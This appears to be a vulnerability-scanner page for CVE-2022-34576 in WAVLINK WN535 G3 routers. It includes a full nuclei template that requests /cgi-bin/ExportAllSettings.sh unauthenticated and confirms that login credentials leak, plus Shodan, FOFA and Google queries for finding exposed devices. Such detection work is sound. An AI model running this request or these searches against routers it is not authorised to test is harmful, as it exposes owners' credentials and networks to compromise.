WAVLINK WN535 G3 - Improper Access Control

highseverity

7.5CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.

Fix

Apply the latest firmware update provided by the vendor to fix the access control issue.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/ExportAllSettings.sh
Positive when: contains "Login=" and "Password=" and "Model=" and "AuthMode=" AND status 200

Run it with nuclei: nuclei -id CVE-2022-34576 -u <target>

The full check

id: CVE-2022-34576

info:
  name: WAVLINK WN535 G3 - Improper Access Control
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to improper access control. A vulnerability in /cgi-bin/ExportAllSettings.sh allows an attacker to execute arbitrary code via a crafted POST request and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the router's settings and potentially compromise the network.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3_Sensitive%20information%20leakage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34576
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/tr3ss/gofetch
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-34576
    epss-score: 0.03893
    epss-percentile: 0.90339
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from